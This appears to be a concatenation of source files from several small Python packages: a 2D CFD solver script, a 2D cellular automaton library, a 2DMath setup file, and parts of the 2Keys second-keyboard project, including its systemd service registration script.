# ~ ~ ~ ~ ~ ~ ~ /_____________\ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
##########################\/\/\/\/\/\/\/\/\/\/\/\/\/\/##########################
"""
LICENSE
This file is a part of 2D_Panel CFD.
2D_Panel CFD is a repository with 2D framework to test new numerical schemes,
pressure coupling algorithms, VOF etc. A GUI is intended to be made shortly
to make this a user oriented program.
Copyright (C) <2021> <Fluidentity>
2D_Panel CFD is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2D_Panel CFD is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
2D_Panel CFD comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
"""
#%%
import numpy as np
import matplotlib as mpl
from matplotlib import cm
from matplotlib import pyplot as plt
from scipy import linalg
import sys, os
mpl.rcParams.update({'font.size': 15})
caseFolder = input("\nEnter address of testCase ...\nExample: /home/user/folder/Case_1\n")
try:
os.mkdir(caseFolder)
except:
print("\nFolder already there!!\n")
flag_EmptyFolder = input("\nEmpty Folder ?? [y/n]\n")
if(flag_EmptyFolder=='y'):
filelist = [ f for f in os.listdir(caseFolder) ]
for f in filelist:
os.remove(os.path.join(caseFolder, f))
else:
sys.exit()
package_dir = os.path.dirname(os.path.realpath(__file__))
print(package_dir)
from RUN_package.boundaryDomain import domain, obstacle, obstacleMath
from RUN_package.initialConditions import initialCond
from RUN_package.faceInterpolation import U_face, V_face
from RUN_package.UV_coeff import U_coeffUpwind, V_coeffUpwind
from RUN_package.P_coeff import P_coeffSIMPLE
from RUN_package.correction import correctionSIMPLE
from RUN_package.postProcessing import postProcessor
D, \
xMin, xMax, yMin, yMax, \
dx, dy, nx, ny, \
south_Boundary, north_Boundary, west_Boundary, east_Boundary, \
flag_Outlet =\
domain(caseFolder)
flag_obstacleGeometry = int(input("\n1. Use .txt file as Address \n2. Add elliptical obstacle\n3. No Obstacle Geometry\n"))
if(flag_obstacleGeometry==1):
D, Points, Points_x, Points_y = obstacle(D, xMin, xMax, yMin, yMax, nx, ny, dx, dy)
elif(flag_obstacleGeometry==2):
D, Points, Points_x, Points_y = obstacleMath(D, xMin, xMax, yMin, yMax, nx, ny, dx, dy)
Lx = xMax-xMin
Ly = yMax-yMin
# Grid - Plot
xg = np.linspace(xMin, xMax, num=nx+2)
yg = np.linspace(yMax, yMin, num=ny+2)
Xg, Yg = np.meshgrid(xg, yg)
fig, ax = plt.subplots(figsize =(Lx*6*1.4, Ly*6))
plt.xlabel('x [m]')
plt.ylabel('y [m]')
cmap = plt.get_cmap('tab10')
ylorbr = cm.get_cmap('tab10', 4)
norm = mpl.colors.Normalize(vmin=-1.5, vmax=2.5)
col = plt.pcolormesh(xg, yg, D[0], cmap = ylorbr, norm=norm)
cbar = plt.colorbar(col)
cbar.set_label('Grid\n-1.0 - Outlet 0.0 - Wall 1.0 - Inlet 2.0 - Wall')
plt.axis('scaled')
# show plot
plt.show()
flag_continue = input("\nContinue or Abort ?? [y/n]\n")
if(flag_continue=='n'):
sys.exit()
urf_UV = float(input("\nEnter Under-relaxation factor for UV\n"))
urf_P = float(input("\nEnter Under-relaxation factor for P\n"))
rho = float(input("\nEnter Density of fluid [kg/m^3]\n"))
visc = float(input("\nEnter Viscosity of Fluid [Pa*s]\n"))
max_iter = int(input("\nEnter Max Iteration for this SIM\n"))
MaxRes_Mass = float(input("\nEnter Min Mass Imbalance Residual for this SIM\n"))
Uxo, Uyo, Po = initialCond(D, nx, ny, flag_Outlet)
Ux_values=[]
Ux_values.append(Uxo)
Uy_values=[]
Uy_values.append(Uyo)
P_values=[]
P_values.append(Po)
Res_U_values=[]
Res_V_values=[]
Res_Mass_values=[]
logRes_Mass=0.0
n=0
iter_ = np.linspace(0, max_iter, max_iter)
temp = np.linspace(0, max_iter, max_iter)
plt.ion()
fig = plt.figure()
ax = fig.add_subplot(111)
line1, = ax.plot(iter_, temp, color = 'red', label = 'Ux-Mom Residual')
line2, = ax.plot(iter_, temp, color = 'blue', label = 'Uy-Mom Residual')
line3, = ax.plot(iter_, temp, color = 'green', label = 'Mass Residual')
ax.legend()
while n<max_iter and logRes_Mass>MaxRes_Mass:
Uue, Uuw, Vun, Vus = U_face(Uxo, Uyo, D, nx, ny)
Uve, Uvw, Vvn, Vvs = V_face(Uxo, Uyo, D, nx, ny)
M_Au, M_Bup, Aup, Aue, Auw, Aun, Aus, Bup = \
U_coeffUpwind(Uxo, Uyo, Po, Uue, Uuw, Vun, Vus, D, rho, visc, urf_UV, nx, ny, dx, dy)
M_Av, M_Bvp, Avp, Ave, Avw, Avn, Avs, Bvp = \
V_coeffUpwind(Uxo, Uyo, Po, Uve, Uvw, Vvn, Vvs, D, rho, visc, urf_UV, nx, ny, dx, dy)
# Momentum Predictor
M_Uxs = linalg.solve(M_Au, M_Bup)
M_Uys = linalg.solve(M_Av, M_Bvp)
Uxs = np.reshape(M_Uxs, (ny, nx+1))
Uys = np.reshape(M_Uys, (ny+1, nx))
M_Ap, M_Bpp, App, Ape, Apw, Apn, Aps, Bpp = P_coeffSIMPLE(Aup, Avp, Uxs, Uys, D, nx, ny, dx, dy)
if(flag_Outlet==0):
M_Ap[int(ny*nx/4), :] = 0
M_Ap[int(ny*nx/4), int(ny*nx/4)] = 1
M_Bpp[int(ny*nx/4)] = 0
# Pressure Correction values
M_Pc = linalg.solve(M_Ap, M_Bpp)
Pc = np.reshape(M_Pc, (ny, nx))
# Residuals
Res_U = M_Au.dot(Uxo.flatten())-M_Bup
Res_V = M_Av.dot(Uyo.flatten())-M_Bvp
logRes_U = np.log(np.sum(np.abs(Res_U)))
logRes_V = np.log(np.sum(np.abs(Res_V)))
logRes_Mass = np.log(np.sum(np.abs(Bpp)))
# Momentum & Pressure Correction step
Ux, Uy, P = correctionSIMPLE(Uxs, Uys, Po, Pc, D, Aup, Avp, urf_UV, urf_P, nx, ny, dx, dy)
# Writing Results
Ux_values.append(Ux.copy())
Uy_values.append(Uy.copy())
P_values.append(P.copy())
Res_U_values.append(logRes_U)
Res_V_values.append(logRes_V)
Res_Mass_values.append(logRes_Mass)
# Prepping for next step
Uxo = Ux.copy()
Uyo = Uy.copy()
Po = P.copy()
iter_ = np.linspace(0, n+1, n+1)
ax.set_xlim(-0.5, n+2)
max_Res=0
min_Res=0
for k in range (0, n+1):
if(max_Res<Res_U_values[k]):
max_Res=Res_U_values[k]
if(max_Res<Res_V_values[k]):
max_Res=Res_U_values[k]
if(max_Res<Res_Mass_values[k]):
max_Res=Res_Mass_values[k]
if(min_Res>Res_U_values[k]):
min_Res=Res_U_values[k]
if(min_Res>Res_V_values[k]):
min_Res=Res_U_values[k]
if(min_Res>Res_Mass_values[k]):
min_Res=Res_Mass_values[k]
ax.set_ylim(min_Res-1, max_Res+1)
line1.set_ydata(Res_U_values)
line1.set_xdata(iter_)
line2.set_ydata(Res_V_values)
line2.set_xdata(iter_)
line3.set_ydata(Res_Mass_values)
line3.set_xdata(iter_)
fig.canvas.draw()
fig.canvas.flush_events()
n+=1
if(n<max_iter):
max_iter=n
max_iter
uxq_values = []
uyq_values = []
for n in range (0, max_iter):
ux1 = Ux_values[n].copy()
uxq = np.zeros((2*ny+1, 2*nx+1))
for i in range (0, ny):
for j in range (0, nx+1):
uxq[2*i+1, 2*j] = ux1[i, j]
for j in range (0, nx+1):
uxq[0, 2*j] = D[1][0, j]
uxq[-1, 2*j] = D[1][-1, j]
for i in range (0, ny-1):
for j in range (0, nx+1):
uxq[2*i+2, 2*j] = (uxq[2*i+1, 2*j] + uxq[2*i+3, 2*j])/2
for i in range (0, 2*ny):
for j in range (0, nx):
uxq[i, 2*j+1] = (uxq[i, 2*j] + uxq[i, 2*j+2])/2
uy1 = Uy_values[n].copy()
uyq = np.zeros((2*ny+1, 2*nx+1))
for i in range (0, ny+1):
for j in range (0, nx):
uyq[2*i, 2*j+1] = uy1[i, j]
for i in range (0, ny+1):
uyq[2*i, 0] = D[2][i, 0]
uyq[2*i, -1] = D[2][i, -1]
for i in range (0, ny+1):
for j in range (0, nx-1):
uyq[2*i, 2*j+2] = (uyq[2*i, 2*j+1] + uyq[2*i, 2*j+3])/2
for i in range (0, ny):
for j in range (0, 2*nx):
uyq[2*i+1, j] = (uyq[2*i, j] + uyq[2*i+2, j])/2
uxq_values.append(uxq)
uyq_values.append(uyq)
#%%
flag_Validation = input("Validation check for Lid-driven Cavity Re-[100, 1000, 5000] ?? [y/n]")
if(flag_Validation=='y'):
mpl.rcParams.update({'font.size': 10})
ghia_u100 = np.array([1, 0.84123, 0.78871, 0.73722, 0.68717, 0.23151, 0.00332, -0.13641, -0.20581, -0.2109, -0.15662, -0.1015, -0.06434, -0.04775, -0.04192, -0.03717, 0])
ghia_u1000 = np.array([1, 0.65928, 0.57492, 0.51117, 0.46604, 0.33304, 0.18719, 0.05702, -0.0608, -0.10648, -0.27805, -0.38289, -0.2973, -0.2222, -0.20196, -0.18109, 0])
ghia_u5000 = np.array([1, 0.48223, 0.4612, 0.45992, 0.46036, 0.33556, 0.20087, 0.08183, -0.03039, -0.07404, -0.22855, -0.3305, -0.40435, -0.43643, -0.42901, -0.41165, 0])
ghia_y = np.array([1, 0.9766, 0.9688, 0.9609, 0.9531, 0.8516, 0.7344, 0.6172, 0.5, 0.4531, 0.2813, 0.1719, 0.1016, 0.0703, 0.0625, 0.0547, 0])
yq = np.linspace(yMax, yMin, num=2*ny+1)
Re = rho*D[1][0, int(nx/2)]*Lx/visc
if(Re==100):
plt.scatter(ghia_u100, ghia_y, c='green', label='Ghia etal.')
plt.title('Reynolds No. 100 Mesh -[{}X{}]'.format(nx, ny))
if(Re==1000):
plt.scatter(ghia_u1000, ghia_y, c='green', label='Ghia etal.')
plt.title('Reynolds No. 1000 Mesh -[{}X{}]'.format(nx, ny))
if(Re==5000):
plt.scatter(ghia_u5000, ghia_y, c='green', label='Ghia etal.')
plt.title('Reynolds No. 5000 Mesh -[{}X{}]'.format(nx, ny))
plt.plot(uxq_values[max_iter-1][:, nx], yq, label ='Centreline X-Velocity')
plt.legend()
plt.show()
flag_Validation = input("Validation check for Fully developed flow ?? [y/n]")
if(flag_Validation=='y'):
mpl.rcParams.update({'font.size': 10})
Re = rho*D[1][int(ny/2), 0]*Ly/visc
yq = np.linspace(yMax, yMin, num=2*ny+1)
plt.plot(uxq_values[max_iter-1][:, int(8*(2*nx+1)/10)], yq, label ='Centreline X-Velocity - at X={}'.format(xMin+int(8*(2*nx+1)/10)*dx/2))
# plt.set_xlabel('Y')
plt.title('Fully Developed Flow Re = {}'.format(Re))
plt.legend()
plt.show()
xq = np.linspace(xMin, xMax, num=2*nx+1)
plt.plot(uxq_values[max_iter-1][ny, :], xq, label ='Centreline X-Velocity - at Y={}'.format(yMax-ny*dy/2))
# plt.set_xlabel('X')
plt.title('Fully Developed Flow Re = {}'.format(Re))
plt.legend()
plt.show()
#%%
postProcessor(P_values, uxq_values, uyq_values, \
xMin, xMax, yMin, yMax, nx, ny, dx, dy, Points_x, Points_y, \
caseFolder, Res_U_values, Res_V_values, Res_Mass_values, \
max_iter, min_Res, max_Res)
| 2D-Panel-CFD | /2D_Panel-CFD-0.0.1.tar.gz/2D_Panel-CFD-0.0.1/src/RUN_package/RUN.py | RUN.py |
# 2D Cellular Automaton
This project was inspired by discussions in MATH 340 Mathematical Excursions. While we visualized multiple starting indicies for 2D cellular automata in Excel, I knew a Python script would allow greater functioniality and easier usage.
I came across a respository on GitHub by Zhiming Wang titled [rule30](https://github.com/zmwangx/rule30). Nearly all the code is borrowed from there and made it unnecessary for me to start from scratch. All the functionalities from Wang's solution exist in this project, with the only additions being supporting multiple starting indicies.
# Table of Contents
1. [Installation](#Installation)
2. [Usage](#Usage)
4. [Credit](#Credit)
5. [License](License)
## Installation
`pip install 2DCellularAutomaton`
## Usage
```python
from CellularAutomaton import Automaton
rows = 100 #Any positive number
rule = 30 #From 1-256. More can be seen here https://mathworld.wolfram.com/ElementaryCellularAutomaton.html
starting_indicies = [20, 60] #Note this refers to the columns and columns = 2 * rows - 1, which is why rows - 1 yields center.
block_size = 1
automata = Automaton(rows=rows, rule=rule, starting_indicies=starting_indicies)
image = automata.image(block_size=block_size)
image.save('Rule 30 | Column 20 and 60.jpeg')
```
Output
<img src="image.jpeg" alt="drawing" width="600"/>
## Credit
1. Zhiming Wang's [rule30](https://github.com/zmwangx/rule30)
## License
MIT | 2D-cellular-automaton | /2D-cellular-automaton-0.0.1.tar.gz/2D-cellular-automaton-0.0.1/README.md | README.md |
from PIL import Image, ImageDraw
def image_from_matrix(matrix: list[list], block_size: int = 1):
"""Generates an image from a 2d boolean matrix.
The matrix can be any data structure that supports ``len`` on both
dimensions and can be indexed by two subscripts (which is then
treated as a bool).
Each element is drawn as a square of the specified `block_size`,
where 0 is drawn in white and 1 is drawn in black.
Parameters
----------
matrix : Sequence[Sequence[Any]]
block_size : int, optional
Defaults to 1.
Returns
-------
PIL.Image.Image
"""
if block_size <= 0:
raise ValueError('Block size must be positive.')
rows = len(matrix)
columns = len(matrix[0])
image = Image.new('1', (columns * block_size, rows * block_size), color=1)
draw = ImageDraw.Draw(image)
for i in range(rows):
for j in range(columns):
if matrix[i][j]:
x0 = j * block_size
y0 = i * block_size
x1 = (j + 1) * block_size - 1
y1 = (i + 1) * block_size - 1
draw.rectangle([x0, y0, x1, y1], fill=0)
del draw
return image
| 2D-cellular-automaton | /2D-cellular-automaton-0.0.1.tar.gz/2D-cellular-automaton-0.0.1/CellularAutomaton/visualize.py | visualize.py |
from .automaton import Automaton
def main():
rows = 1000
rule = 57
block_size = 1
starting_indicies = []
path = f'{starting_indicies}.jpeg'
automaton = Automaton(rows=rows, starting_indicies=starting_indicies,
rule=rule, method='New')
image = automaton.image(block_size=block_size)
image.save(path, format='jpeg')
if __name__ == '__main__':
main()
| 2D-cellular-automaton | /2D-cellular-automaton-0.0.1.tar.gz/2D-cellular-automaton-0.0.1/CellularAutomaton/main.py | main.py |
from .automaton import Automaton
| 2D-cellular-automaton | /2D-cellular-automaton-0.0.1.tar.gz/2D-cellular-automaton-0.0.1/CellularAutomaton/__init__.py | __init__.py |
import bitarray
from . import visualize
from typing import Literal
class Automaton(object):
"""
An elementary cellular automaton with muliple initial state support.
The number of rows, `rows`, is given at class instantiation, and the
automaton is only simulated to that depth. Horizontally, we only
keep the states of the 2 * `rows` - 1 cells centered around the
initial 1.
One can access the history matrix via `matrix` or as a numpy array
via `nparray`, or as a printable string via `string`, or as an image
via `image`.
Parameters
----------
rows : int
rule : int, optional
The Wolfram code for the rule (in the range [0, 255]). See
`Wolfram code <https://en.wikipedia.org/wiki/Wolfram_code>`_ on
Wikipedia. Default is 30.
starting_indicies: list[int], optional
Defaults to rows - 1.
method: str, optional
'New' results in faster generation while 'Old' utilizies the separate
generation methods dependent on parity of rule.
Nearly all of the code is from https://github.com/zmwangx/rule30.
"""
def __init__(self, rows: int, rule: int = 30,
starting_indicies: list[int] = [],
method: Literal['New', 'Old'] = 'New'):
if type(rows) is not int or rows < 0:
raise ValueError("The rows should be a positive integer.")
self._rows = rows
self._columns = rows * 2 - 1
if type(starting_indicies) is not list or not all(
[type(index) is int and index <= rows * 2 - 1
for index in starting_indicies]):
raise ValueError('The starting indicies should be a list of \
integers less than 2 * rows - 1.')
elif len(starting_indicies) == 0:
self._starting_indicies = [rows - 1]
else:
self._starting_indicies = starting_indicies
if type(rule) is not int or not 0 <= rule <= 255:
raise ValueError("The rule should be an integer between 0-255.")
self._rule = rule
# Unpack rule
u = [bit == '1' for bit in reversed('{:08b}'.format(rule))]
# Wolfram code is big-endian in terms of the bit position of
# each of the 2^3=8 configurations (just like how we write
# numbers in a left-to-right system); we map the ruleset to
# little-endian form, so that, for instance, the rule for 110 is
# stored in 0b011.
self._rule_unpacked = [
u[0b000], # 000
u[0b100], # 001
u[0b010], # 010
u[0b110], # 011
u[0b001], # 100
u[0b101], # 101
u[0b011], # 110
u[0b111], # 111
]
if type(method) is not str and method not in ['New', 'Old']:
raise ValueError('The method should be a string New or Old.')
self._method = method
self._matrix = []
self._generate()
def __str__(self):
return self.string()
@property
def rows(self):
"""Number of rows in the history matrix.
Returns
-------
int
"""
return self._rows
@property
def columns(self):
"""Number of columns in the history matrix.
Always equals 2 * `rows` - 1.
Returns
-------
int
"""
return self._columns
@property
def starting_indicies(self):
"""The custom starting indicies of the first row.
Returns
-------
list[int]
"""
return self._starting_indicies
@property
def rule(self):
"""Wolfram code for the rule.
Returns
-------
int
"""
return self._rule
@property
def method(self):
"""'New' refers to the `generate_both` function while
'Old' refers to `generate_even`and `generate_odd` depending
on the parity of rule.
Returns
-------
str
"""
return self._method
@property
def matrix(self):
"""The history matrix.
This is a list of `rows` rows, where each row is a bitarray of
length `columns`. See `bitarray's reference
<https://pypi.python.org/pypi/bitarray>`_ for more details.
This is the internal representation of the `Automaton` class.
Returns
-------
List[bitarray]
"""
return self._matrix
def string(self, zero='0', one='1'):
"""Returns a printable string representation of the matrix.
Parameters
----------
zero : str, optional
The character to print for a cell of value 0. Default is '0'.
one : str, optional
The character to print for a cell of value 1. Default is '1'.
Returns
-------
str
Examples
--------
>>> import rule30
>>> print(rule30.Automaton(5, rule=30).string())
000010000
000111000
001100100
011011110
110010001
"""
return '\n'.join([''.join([one if bit else zero for bit in row])
for row in self._matrix])
def image(self, block_size=1):
"""Returns an image for the matrix.
Parameters
----------
block_size : int, optional
Size in pixels of each cell (drawn as a square). Default is 1.
Returns
-------
PIL.Image.Image
"""
return visualize.image_from_matrix(self._matrix, block_size=block_size)
@staticmethod
def _zeros(length):
# Returns a zeroed little-endian bitarray of specified length
buf = bitarray.bitarray(length, endian='little')
buf.setall(0)
return buf
def _generate(self):
if self.method == 'New':
self._gen_both()
else:
self._gen_even() if self.rule % 2 == 0 else self._gen_odd()
def _gen_both(self):
rows = self._rows
columns = self._columns
rule_unpacked = self._rule_unpacked
row = self._zeros(columns)
for index in self.starting_indicies:
row[index] = 1 # Multiple starting states
self._matrix.append(row)
# Evolution
for i in range(1, rows):
lastrow = row
row = self._zeros(columns)
for j in range(0, columns):
row[j] = rule_unpacked[int.from_bytes(
lastrow[j - 1: j + 2].tobytes(), 'little')]
self._matrix.append(row)
# I found this function to be slower than _gen_both.
def _gen_even(self):
rows = self._rows
columns = self._columns
rule_unpacked = self._rule_unpacked
row = self._zeros(columns)
for index in self.starting_indicies:
row[index] = 1 # Multiple starting states
self._matrix.append(row)
# Evolution
for i in range(1, rows):
lastrow = row
row = self._zeros(columns)
max_left_end = max(min(self.starting_indicies) - i - 1, 1)
max_right_end = max(max(self.starting_indicies) + i, columns - 1)
for j in range(max_left_end, max_right_end):
if len(row[j - 1:]) < 3:
continue
row[j] = rule_unpacked[int.from_bytes(
lastrow[j - 1: j + 2].tobytes(), 'little')]
# Leftover code from previous version, unsure if still necessary.
# The left and right endpoints of the last row need special
# attention because we don't have all three neighbors from
# the previous row.
if i == rows - 1:
row[0] = rule_unpacked[lastrow[0] * 2 + lastrow[1] * 4]
row[columns - 1] = rule_unpacked[lastrow[columns - 2] +
lastrow[columns - 1] * 2]
self._matrix.append(row)
# I have not figured out how to approach this like with _gen_even.
# I found this function to also perform slower than _gen_both.
def _gen_odd(self):
rows = self._rows
columns = self._columns
rule_unpacked = self._rule_unpacked
# In order to compute the states of the middle (2n-1) cells on
# the n-th row, we need to start from the states of the middle
# (4n-3) cells on the first row, and step by step compute the
# middle (4n-3-2i) cells on the (i+1)-th row.
row = self._zeros(4 * rows - 3)
row[2 * rows - 1] = 1
self._matrix.append(row[rows - 1: rows - 1 + columns])
# Evolution
for i in range(1, rows):
lastrow = row
columns_to_compute = 4 * rows - 3 - 2 * i
row = self._zeros(columns_to_compute)
for j in range(columns_to_compute):
row[j] = rule_unpacked[int.from_bytes(
lastrow[j: j + 3].tobytes(), 'little')]
self._matrix.append(row[rows - 1 - i: rows - 1 - i + columns])
| 2D-cellular-automaton | /2D-cellular-automaton-0.0.1.tar.gz/2D-cellular-automaton-0.0.1/CellularAutomaton/automaton.py | automaton.py |
from distutils.core import setup
setup(
name = '2DMath', # How you named your package folder (MyLib)
version = '0.0.1', # Start with a small number and increase it with every change you make
license='MIT', # Chose a license from here: https://help.github.com/articles/licensing-a-repository
description = 'Simple 2D Math', # Give a short description about your library
author = 'Array', # Type in your name
author_email = 'ars2062@gmail.com', # Type in your E-Mail
url = 'https://gitlab.com/ars2062/2dmath', # Provide either the link to your github or to your website
keywords = ['2d', 'math', 'vector', 'trigonometry'], # Keywords that define your package best
install_requires=[],
classifiers=[
'Development Status :: 3 - Alpha', # Chose either "3 - Alpha", "4 - Beta" or "5 - Production/Stable" as the current state of your package
'Intended Audience :: Developers', # Define that your audience are developers
'Topic :: Software Development :: Build Tools',
'License :: OSI Approved :: MIT License', # Again, pick a license
'Programming Language :: Python :: 3', #Specify which pyhton versions that you want to support
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7',
'Programming Language :: Python :: 3.8',
],
) | 2DMath | /2DMath-0.0.1.tar.gz/2DMath-0.0.1/setup.py | setup.py |
# 2Keys
A easy to setup second keyboard, designed for everyone.
For a full setup guide, see [here](https://github.com/Gum-Joe/2Keys/blob/master/docs/SETUP.md)
For keyboard mappings, see [here](https://github.com/Gum-Joe/2Keys/blob/master/docs/MAPPINGS.md)
### Support
Windows is supported only as the server (where the hotkeys will run) and a raspberry pi is required to run the detector.
## WARNING
This will download a copy of [AutoHotkey_H](https://hotkeyit.github.io/v2/), a DLL version of [AutoHotkey](http://autohotkey.com/)
## Building
To build the server, where hotkeys are run:
```
$ cd server
$ yarn
```
To build the detector:
```
$ cd detector
$ pip3 install -r required.txt
```
## Devices
**Server**: The device running the hotkeys sever, i.e. where the hot keys will be run
**Detecter**: Device that handles detection of key presses & which keyboard it is and sends this to the server
## Sofware used & inspiration
Inspired by LTT editor Taran's second keyboard project: [https://github.com/TaranVH/2nd-keyboard](https://github.com/TaranVH/2nd-keyboard)
2Keys uses AutoHotkey_H (a DLL version of AutoHotkey): [https://hotkeyit.github.io/v2/](https://hotkeyit.github.io/v2/)
## License
Copyright 2018 Kishan Sambhi
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>. | 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/README.md | README.md |
# Setup script
# https://python-packaging.readthedocs.io/en/latest/everything.html
from setuptools import setup, find_packages
def readme():
with open("./README.md") as f:
return f.read()
def get_required():
with open("./required.txt") as f:
packages = []
for line in f:
if not line[0] == "#" and not line == "":
packages.append(line.rstrip("\n"))
return packages
setup(name="2Keys",
version="0.5.1",
description="A easy to setup second keyboard, designed for everyone. ",
long_description=readme(),
url="https://github.com/Gum-Joe/2Keys",
author="Gum-Joe",
author_email="kishansambhi@hotmail.co.uk",
keywords="hid ahk autohotkey macros 2cdkeyboard keyboards",
license="GPLv3",
packages=find_packages(),
install_requires=get_required(),
classifiers=[
"Development Status :: 2 - Pre-Alpha",
"Operating System :: POSIX :: Linux",
"Programming Language :: Python :: 3.5",
"License :: OSI Approved :: GNU General Public License v3 (GPLv3)"
],
include_package_data=True,
entry_points={
"console_scripts": ["2Keys = twokeys.cli:cli"]
},
zip_safe=False,
# For bdist
package_data={
"package": ["assets/*"]
}
)
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/setup.py | setup.py |
import unittest
import os
# Setup ENV
os.environ["2KEYS_TEST"] = "true"
from twokeys.util import load_config, logger
class TestUtil(unittest.TestCase):
def setUp(self):
os.chdir("./tests/mock") # Needs more logic
def test_load_config(self):
config = load_config()
self.assertEqual(config["name"], "MOCK")
self.assertTrue("keyboards" in config)
self.assertTrue("keyboard" in config["keyboards"])
self.assertTrue("path" in config["keyboards"]["keyboard"])
self.assertEqual(config["keyboards"]["keyboard"]["path"], "/dev/input/by-id/akbd")
if __name__ == '__main__':
unittest.main()
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/tests/test_util.py | test_util.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
# 2Keys main
from .cli import cli
cli()
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/__main__.py | __main__.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
from .cli import cli
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/__init__.py | __init__.py |
#!/bin/bash
###
# Copyright 2018 Kishan Sambhi
# This file is part of 2Keys.
# 2Keys is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# 2Keys is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
###
# File generated by 2Keys
# DO NOT MODIFY
# Please run using sudo
# 2Keys script to register and handler systemd services for 2Keys watchers
keyboards={{ keyboards }} # Please use format (keyboard keyboard keyboard)
# Functions
register() {
echo Registering services...
for keyboard in ${keyboards[@]};
do
echo "Adding script for ${keyboard}..."
echo "Chmodding with 644..."
chmod 644 ./.2Keys/2Keys-${keyboard}.service
echo "Adding..."
systemctl enable $PWD/.2Keys/2Keys-${keyboard}.service
done
echo Reloading daemon...
systemctl daemon-reload
start
}
disable() {
echo Disabling services...
stop
for keyboard in ${keyboards[@]};
do
echo "Disabling script for ${keyboard}..."
systemctl disable 2Keys-${keyboard}.service
echo "To completely remove the scripts, remove the ./.2Keys dir."
echo "Note that you will be unable to ever reuse the 2Keys services again once this is done"
done
}
enable_scripts() {
echo Enabling services...
for keyboard in ${keyboards[@]};
do
echo "Enabling script for ${keyboard}..."
systemctl enable $PWD/.2Keys/2Keys-${keyboard}.service
done
}
start() {
echo Starting services...
for keyboard in ${keyboards[@]};
do
echo "Starting script for ${keyboard}..."
systemctl start 2Keys-${keyboard}.service
done
}
stop() {
echo Stopping services...
for keyboard in ${keyboards[@]};
do
echo "Stopping script for ${keyboard}..."
systemctl stop 2Keys-${keyboard}.service
done
}
restart() {
echo Restarting services...
for keyboard in ${keyboards[@]};
do
echo "Restarting script for ${keyboard}..."
systemctl restart 2Keys-${keyboard}.service
done
}
status() {
echo Getting statuses of services...
for keyboard in ${keyboards[@]};
do
echo "Get status of ${keyboard}..."
systemctl status 2Keys-${keyboard}.service
echo ""
done
}
# Root check
if [ "$EUID" -ne 0 ]
then echo "Please run as root"
exit 1
fi
# Parse arg
case $1 in
register)
register
;;
disable)
disable
;;
enable)
enable_scripts
;;
start)
start
;;
stop)
stop
;;
restart)
restart
;;
status)
status
;;
help)
echo Valid comands:
echo "register: Registers and enables (starts on startup) services for use"
echo "disable: Disbales services (stops them being started on startup)"
echo "enable: Enables services (used after disabled has been run)"
echo "start: Starts services"
echo "stop: Stops services"
echo "restart: Restarts services"
echo "status: Gets statuses of all services"
;;
*)
echo Invalid command.
exit 1
;;
esac
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/assets/register.sh | register.sh |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
# Script to resync config from server
import requests
import json
import yaml
import os
from ..util.logger import Logger
from ..util.config import load_config
